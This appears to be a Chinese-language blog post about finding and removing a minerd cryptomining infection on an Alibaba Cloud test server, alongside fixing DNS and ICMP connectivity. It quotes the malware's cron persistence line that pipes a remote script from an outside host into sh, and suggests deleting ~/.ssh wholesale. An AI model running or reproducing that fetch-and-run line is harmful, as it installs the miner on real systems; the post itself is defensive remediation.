服务器 ping 不通外网以及对 minerd 恶意挖矿进程的处理

1,545 阅读7分钟

服务器日常运维:服务器 ping 不通外网以及 minerd 挖矿程序的发现及解决,废话及心理活动较多,慢慢看。

git pull 失效

由于 G20 很多公司都要在九月1号到7号放假,这多出来的休息时间当然是要靠调休调回来的,所以今天作为周日,也是上班。

本以为是平平常常的一天,但是在我像日常一样 git pull 的时候,发现没有权限了,拖不下代码了,我还特别纳闷,周五都好好的,怎么一两天过去了咋都变了呢?

提示没有权限,首先想到的是 home 目录下的 .ssh/id_rsa.pub.ssh/id_rsa 文件是否被修改了。因为不止我一个人有权限操作,首先想到的就是这个了。由于先前将该文件备份过,所以对比了下,发现并没有改变啊,并且看文件的更新时间,还是很久以前,我就越发奇怪了。

重新生成 SSH KEY

文件又没有被改动过,说明服务器上的是正常的,那会不会是代码托管服务出问题了?然后查了查资料,发现的确有人遇到这种问题,公钥明明已经添加在白名单中了,但是在提交代码的时候还是提示没有权限,所以我在想是不是代码托管服务器把我的公钥弄丢了。(虽然不大可能,但是还是抱有这样的心理),于是重新生成了一份 SSH KEY ,生成步骤如下:

  1. 查看是否已经存在 ssh key:
    • cd ~/.ssh 如果已经生成过的话,则会存在该目录
    • rm -rf ~/.ssh 如果存在的话,则删除
  2. 设置 Gitusernameemail:
    • git config --global user.name "adobe1874"
    • git config --global user.email "adobe1874@126.com" 注:这里填的是在代码托管服务平台注册的邮箱
    • ssh-keygen -t rsa -C "adobe1874@126.com" 生成 SSH KEY
    • 连按几个回车键,然后 ls ~/.ssh,会发现在 ssh 目录下,会有 id_rsa 和 id_rsa.pub 文件
    • cat id_rsa.pub 将其内容添加到代码托管服务平台的项目公钥列表中。
  3. 做好以上几步工作,就可以使用 Git 的相关功能了。比如 git clone ,git pull,git push 等。

git 操作依然失效

但是我错了!Too Young Too Simple.

重新配置了 id_rsa.pub 后,再去操作 git pull,依然提示我没有权限。这时候我去 ~/.ssh 文件夹下,发现了多了个 authotrized_keys ,并且还有个 KHK75NEOiq 文件,但是当时并没有在意具体是什么。一心想着是不是 Coding(使用的项目托管服务) 那边出问题了,还私信了他们的工作人员,但是可能由于是周日,也没人回复。

ping 失效

等等,我好像发现了个了不起的事情。

不能干等着别人的回复啊,于是趁这段时间想给服务器安装个 TLDR(Too Long Don’t Read) 工具,之前一直在自己的电脑上使用,感觉很好用,所以也打算在服务器上安装个。

tldr图示

详细介绍见 有了 tldr,妈妈再也不用担心我记不住命令了

但是发现迟迟更新不下来啊,等啊等啊,还是不行,这时候我想差不多是网络有问题。

但是我踏马也只是想想。

“少年,你 ping 一下外网。”知道了我的问题后,一个朋友对我说。我很惭愧,我怎么没想到呢?

ping www.baidu.com

十几秒后,服务器返回

ping:unknown host www.baidu.com

What The Fuck!

ping 8.8.8.8

返回结果一样是 unknown host,很是疑惑,前两天一切都好好的,怎么了这是!于是上网查资料,找到文章 linux系统:”ping: unknown host www.baidu.com” ,按照文章的步骤,发现最后依然不凑效。

万般无奈之下,提交了个工单给阿里的售后运维人员。

异常进程

“您好,我的服务器 ping 不了外网了,您能帮忙看看吗?”

几分钟后,阿里运维人员就回复我了,不看不要紧,一看吓一跳

minerd

服务器的 CPU 一直处于 95%-100% 之间,阿里运维人员还给我提供了一个链接 Linux 异常进程 minerd 导致系统 CPU 跑满

上网查了下资料,发现这个是由于 Redis 漏洞引起的,是一个挖矿进程。

该漏洞介绍: Redis 未授权访问缺陷可轻易导致系统被黑 ,这里面说得很清楚。

处理 minerd

该方案亲测不可行,在关闭 minerd 进程,并删除对应的文件后,大概 5-10 秒后,该进程及文件又重新生成。

  • 新的解决方案 关于服务被挖矿程序minerd入侵解决方法
    1. iptables -A INPUT -s xmr.crypto-pool.fr -j DROP iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP 在终端输入上面两行命令,关掉与挖矿相关的服务
    2. vim /var/spool/cron/root vim /var/spool/cron/crontabs/root 将两个 root 文件中定时脚本 */15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0706 | sh 删除
    3. rm -rf /opt/minerd rm -rf /opt/KHK75NEOiq33 rm -rf /root/.ssh/KHK75NEOiq
    4. pkill minerd
    5. lady - service lady stop

可能该木马进行了升级,在处理第五步时,发现并没有注册 lady 服务。和第一种方案一样,即使删除了定时脚本,minerd 进程依然会自动启动。

该方案为最终解决方案,截止到目前为止,minerd 进程没有再次出现。
该博文作者还提供了几点不错的建议,欢迎大家去参考。

处理 ping 失效

解决了 minerd 恶意进程的问题后,ping 依然失效。

由于自己对于服务器运维经验匮乏,且查阅一些资料后,依然没有很好地解决该问题,所以最终还是麻烦阿里售后运维人员帮我解决。

在售后人员一个多小时的努力后,工单得到了回复,以下是回复内容:

  您好,经过之前的分析检查,针对您的问题目前掌握信息与问题分析如下:

[当前排查进展]

  问题原因已经排查清楚,由于您的服务器所属的安全组只放行了 TCP 的链接,同时您将系统中的 DNS 服务器设置为了 8.8.8.8 的公网地址,DNS 解析使用 UDP 协议,所以系统内无法解析域名,自然无法获取到信息。同样的,ping 使用 ICMP 协议,在安全组中也未放行,所以也是无法 ping 通外部站点的。

[下一步排查计划]

  1. 在安全组中放行 ICMP 协议

  2. 在安全组中放行 8.8.8.8 和 8.8.4.4 两个地址的 UDP 协议,或者将系统内 DNS 服务器改为 10.242.197.247 和 10.242.197.248 (阿里云内网 DNS)

由此可见,阿里运维人员的工作态度真的非常好,不仅跟你说明问题所在,还跟你说明为什么出现该问题及对应的解决方案。

不过关于 在安全组放行 ICMP 协议 ,我还有点不明白,虽然知道 ping 是使用该协议的,但是以前一直都是那么配置的,也是可以 ping 通的。

最终的解决方案,阿里云工单:

[ 问题现象 ]
服务器内无法访问外网
[ 解决方案 ]
我们在服务器内添加了内网的DNS,同时告知您在安全组中放行了ICMP协议,问题解决。

以下是我们在服务器内的具体修改:

vim /etc/resolv.conf 开头添加了以下两行:
nameserver 10.242.197.247 (阿里云内网 DNS )
nameserver 10.242.197.248 (阿里云内网 DNS )

写在最后

所幸这次问题出在测试服务器,如果出在生产环境的话,后果真的太严重了。

对于服务器运维的基本技能还是要多掌握,免得到时候出问题了手忙脚乱心慌慌。

另外遇到问题要冷静点,像我想到了可能没有网络,不能访问外网,但是却没想到去 ping 一下进行验证,哎,何其可悲。

感谢阿里云售后运维人员的耐心帮助,受我以鱼且受我以渔!